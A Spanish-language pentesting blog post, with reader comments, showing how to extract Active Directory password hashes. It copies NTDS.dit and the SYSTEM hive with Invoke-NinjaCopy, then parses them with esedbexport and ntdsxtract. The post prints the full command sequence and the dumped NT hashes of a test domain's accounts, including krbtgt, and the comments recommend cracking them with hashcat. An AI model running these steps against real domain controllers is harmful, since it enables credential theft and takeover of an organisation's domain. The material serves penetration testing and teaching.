Extrayendo los hashes de las contraseñas de los usuarios del AD mediante el NTDS.dit

Normalmente uno de los objetivos en un test de intrusión es conseguir acceso al Controlador de Dominio y volcar todos los hashes de los usuarios del AD. Hay varias herramientas que facilitan mucho este labor como smart_hashdump de Meterpreter o secretsdump.py de Impacket pero, ocasionalmente, podemos necesitar hacer copia del archivo NTDS.dit y extraer manualmente la información de forma offline, por ejemplo cuando son muchos usuarios y queremos hacer un ataque de fuerza bruta contra muchos hashes.

En esta entrada veremos todo el proceso desde la obtención del fichero ntds.dit y de la rama del registro System (registry hive), hasta la obtención de los hashes y su posterior obtención en claro.

Adquiriendo los ficheros ntds.dit y la rama del registro system

Los datos del Directorio Activo (incluyendo los hashes de las contraseñas) están almacenados en el fichero de base de datos NTDS.dit. El formato es ESE (Extensible Storage Engine) y está basado en la base de datos Jet que se usaba en Exchange 5.5 y WINS. Por defecto, encontrarás una copia de este fichero dentro del controlador de dominio en el directorio %SystemRoot%\NTDS\Ntds.dit conteniendo los valores del dominio y una réplica de los valores del bosque (el contenedor de datos del Configurador). También está %SystemRoot%\System32\Ntds.dit que es la copia de distribución del directorio predeterminado que se utiliza cuando se promociona un servidor con Windows 2000 a un controlador de dominio.

Evidentemente no podremos copiar directamente ninguno de estos ficheros porque están en uso por el servidor. Tendremos que recurrir a otras opciones como VSS (Volume Shadow Copies), WMIC, NTDSUtil, snapshots (si son VM) o, como en nuestro caso, usar el módulo Invoke-NinjaCopy de PowerSploit (https://github.com/PowerShellMafia/PowerSploit):
. .\Invoke-NinjaCopy
Invoke-NinjaCopy -path "c:\your\path\ntds\ntds.dit" -localdestination "c:\temp\ntds.dit"
Invoke-NinjaCopy -path "c:\windows\system32\config\SYSTEM" -localdestination "c:\temp\SYSTEM"

Extracción de las tablas del ntds.dis

Una vez obtenidos ambos ficheros, el siguiente paso es extraer las tablas del archivo NTDS.dit utilizando esedbexport, que es parte de libesedb.

Clonamos el repositorio:

$ git clone https://github.com/libyal/libesedb

Instalamos las dependencias:

$ sudo apt-get install autoconf automake autopoint libtool pkg-config

E instalamos (configure, make e install):

$ ./configure
$ make
$ sudo make install
$ sudo ldconfig

Si todo ha ido bien, debemos tener la herramienta de exportación disponible en /usr/local/bin/esedbexport.

Para extraer las tablas simplemente tenemos que ejecutar:

$ esedbexport -m tables ntdis.dit
esedbexport 20171128

Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

El proceso para un dominio de tamaño medio suele ser de 20 a 30 minutos. Del resultado, las dos tablas importantes son datatable y link_table y ambas estarán en ./ntds.dit.export/.

Obtención de los hashes de las contraseñas de los usuarios

Una vez extraídas las tablas, hay un conjunto de herramientas en Python que se puede usar para interactuar con los datos: ntdsxtract.

Clonamos el repositorio:

$ git clone https://github.com/csababarta/ntdsxtract.git
$ cd ntdsxtract/

Y luego podemos usar directamente los scripts o, si lo preferimos, instalarlo:

$ python setup.py build && python setup.py install

Lo que haremos a continuación es volcar la información del usuario y los hashes NT/LM desde las tablas extraídas. Para ello usaremos el script dsusers.py de ntdxtract que requiere:

- datatable
- link_table
- system hive

La sintaxis es:

$ dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>

El formato de salida de los passwords será de john para su posterior crackeo:

$ python ntdsxtract/dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 extract/ --lmoutfile LM.out --ntoutfile NT.out --passwordhashes --pwdformat john --syshive system.bin

[+] Started at: Sun, 17 Dec 2017 01:18:57 UTC
[+] Started with options:
    [-] LM hash output filename: LM.out
    [-] NT hash output filename: NT.out
    [-] Extracting password hashes
    [-] Hash output format: john
The directory (/home/test/extract) specified does not exists!
Would you like to create it? [Y/N] Y

[+] Initialising engine...
[+] Loading saved map files (Stage 1)...
[!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/home/test/extract/offlid.map'
[+] Rebuilding maps...
[+] Scanning database - 100% -> 3464 records processed
[+] Sanity checks...
      Schema record id: 1811
      Schema type id: 10
[+] Extracting schema information - 100% -> 1549 records processed
[+] Loading saved map files (Stage 2)...
[!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/home/test/extract/links.map'
[+] Rebuilding maps...
[+] Extracting object links...

List of users:
==============
Record ID:            3562
User name:            Administrator
User principal name:  
SAM Account name:     Administrator
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 5f9433a8-7363-4f5e-8d3c-4a4dacca157c
SID:                  S-1-5-21-1036816736-4081296861-1938768537-500
When created:         2016-07-19 23:33:08+00:00
When changed:         2017-07-21 14:39:07+00:00
Account expires:      Never
Password last set:    2017-07-21 14:39:07.354826+00:00
Last logon:           2017-07-21 14:48:56.134512+00:00
Last logon timestamp: 2017-07-21 13:52:48.669583+00:00
Bad password time     2017-07-21 13:52:19.684732+00:00
Logon count:          63
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, Administrator
Password hashes:
    Administrator:$NT$4fe0f244d7e64ebd13ba2489c05e6435:S-1-5-21-1036816736-4081296861-1938768537-500::

Record ID:            3563
User name:            Guest
User principal name:  
SAM Account name:     Guest
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 2bf50d7e-79e6-4aab-a81c-15447a1b6f7e
SID:                  S-1-5-21-1036816736-4081296861-1938768537-501
When created:         2016-07-19 23:33:08+00:00
When changed:         2016-07-19 23:33:08+00:00
Account expires:      Never
Password last set:    Never
Last logon:           Never
Last logon timestamp: Never
Bad password time     2016-11-25 22:46:55.531557+00:00
Logon count:          0
Bad password count:   1
Dial-In access perm:  Controlled by policy
User Account Control:
    ACCOUNTDISABLE
    PWD_NOTREQD
    NORMAL_ACCOUNT
    DONT_EXPIRE_PASSWORD
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, Guest
Password hashes:

Record ID:            3609
User name:            krbtgt
User principal name:  
SAM Account name:     krbtgt
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 ce21ca0e-4f4d-49c9-9942-40b0d6ae913d
SID:                  S-1-5-21-1036816736-4081296861-1938768537-502
When created:         2016-07-19 23:34:47+00:00
When changed:         2017-07-21 13:57:55+00:00
Account expires:      Never
Password last set:    2017-07-21 13:57:55.522122+00:00
Last logon:           Never
Last logon timestamp: Never
Bad password time     Never
Logon count:          0
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    ACCOUNTDISABLE
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, krbtgt
Password hashes:
    krbtgt:$NT$c28fbb9dfcb526a1cce5db4988298bde:S-1-5-21-1036816736-4081296861-1938768537-502::

Record ID:            3776
User name:            usuario
User principal name:  
SAM Account name:     usuario
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 fcf6f550-6d74-434e-a2c0-c6b1e688cb6e
SID:                  S-1-5-21-1036816736-4081296861-1938768537-1108
When created:         2017-07-21 14:00:11+00:00
When changed:         2017-07-21 14:14:31+00:00
Account expires:      Never
Password last set:    2017-07-21 14:00:11.179960+00:00
Last logon:           2017-07-21 14:15:27.213569+00:00
Last logon timestamp: 2017-07-21 14:14:31.615071+00:00
Bad password time     Never
Logon count:          2
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, usuario
Password hashes:
    usuario:$NT$8c3efc486704d2ee71eebe71af14d86c:S-1-5-21-1036816736-4081296861-1938768537-1108::

Cómo veis, hemos obtenido los hashes de 3 de los 4 usuarios del dominio de prueba. Podéis verlos recopilados en el fichero:

$ cat extract/NT.out
Administrator:$NT$4fe0f244d7e64ebd13ba2489c05e6435:S-1-5-21-1036816736-4081296861-1938768537-500::
krbtgt:$NT$c28fbb9dfcb526a1cce5db4988298bde:S-1-5-21-1036816736-4081296861-1938768537-502::
usuario:$NT$8c3efc486704d2ee71eebe71af14d86c:S-1-5-21-1036816736-4081296861-1938768537-1108::

Por último ni siquiera nos hará falta crackear el hash del usuario... un búsqueda rápida en Internet nos desvelará una contraseña predecible: Password1234.

Fuentes:
- Windows Password Audit with Kali Linux
- Extracting Password Hashes from the Ntds.dit File
- NTDS Cracking with Kali
- Extracting Hashes and Domain Info From ntds.dit
- Getting Hashes from NTDS.dit File
- Extracting NTDS.DIT FILE FROM ACTIVE DIRECTORY
- Dumping ntds.dit files using PowerShell

Comentarios

  1. Me encanta el rollo de llevarte archivos clave a tu laboratorio y diseccionarlos a mano. Además es super útil en subredes y VLANs desconectadas de internet. Los de Telefónica andan últimamente muy emocionados con lo de las "Hidden Networks" por USB y el BrutalKangaroo de la CIA.
    Soy fan de ésto.

    ResponderEliminar
  2. Para completar el artículo, si fuera necesario crackear el hash de usuario ¿qué método recomendarías? }:-)

    ResponderEliminar
    Respuestas
    1. Colisión de hashes por fuerza bruta aprovechando computación por GPU.
      En resumen: Hashcat.

      Eliminar
    2. si, mejor que Johh, yo también me quedo con hashcat

      Eliminar

Publicar un comentario